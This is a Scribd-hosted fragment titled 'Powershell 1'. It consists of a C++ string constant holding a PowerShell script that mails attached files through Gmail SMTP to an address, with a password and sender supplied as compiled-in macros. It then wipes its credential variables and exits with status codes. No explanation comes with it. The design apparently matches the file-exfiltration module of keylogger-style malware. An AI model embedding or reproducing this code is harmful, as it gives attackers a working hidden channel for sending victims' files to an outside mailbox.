0% found this document useful (0 votes)
10 views

Powershell 1

Uploaded by

chashakib9
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views

Powershell 1

Uploaded by

chashakib9
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 1

const std::string &PowerShellScript =

"Param( \r\n [String]$Att,\r\n [String]$Subj,\r\n "


"[String]$Body\r\n)\r\n\r\nFunction Send-EMail"
" {\r\n Param (\r\n [Parameter(`\r\n Mandatory=$true)]\r\n
"
"[String]$To,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n
"
"[String]$From,\r\n [Parameter(`\r\n mandatory=$true)]\r\n
"
"[String]$Password,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n
"
"[String]$Subject,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n
"
"[String]$Body,\r\n [Parameter(`\r\n Mandatory=$true)]\r\n
"
"[String]$attachment\r\n )\r\n try\r\n {\r\n $Msg = New-
Object "
"System.Net.Mail.MailMessage($From, $To, $Subject, $Body)\r\n $Srv
= \"smtp.gmail.com\" "
"\r\n if ($attachment -ne $null) {\r\n try\r\n
{\r\n"
" $Attachments = $attachment -split (\"\\:\\:\");\r\n
"
" ForEach ($val in $Attachments)\r\n "
" {\r\n "
" $attch = New-Object System.Net.Mail.Attachment($val)\r\n
"
" $Msg.Attachments.Add($attch)\r\n }\r\n
"
"}\r\n catch\r\n {\r\n
exit 2; "
"\r\n }\r\n }\r\n "
" $Client = New-Object Net.Mail.SmtpClient($Srv, 587) #587 port for
smtp.gmail.com SSL\r\n "
" $Client.EnableSsl = $true \r\n $Client.Credentials = New-
Object "
"System.Net.NetworkCredential($From.Split(\"@\")[0], $Password); \r\n
$Client.Send($Msg)\r\n "
" Remove-Variable -Name Client\r\n Remove-Variable -Name
Password\r\n "
"exit 7; \r\n }\r\n catch\r\n {\r\n exit 3; "
" \r\n }\r\n} #End Function Send-EMail\r\ntry\r\n {\r\n "
"Send-EMail -attachment $Att "
"-To \"" +
std::string (X_EM_TO) +
"\""
" -Body $Body -Subject $Subj "
"-password \"" +
std::string (X_EM_PASS) +
"\""
" -From \"" +
std::string (X_EM_FROM) +
"\"""\r\n }\r\ncatch\r\n {\r\n exit 4; \r\n }";

You might also like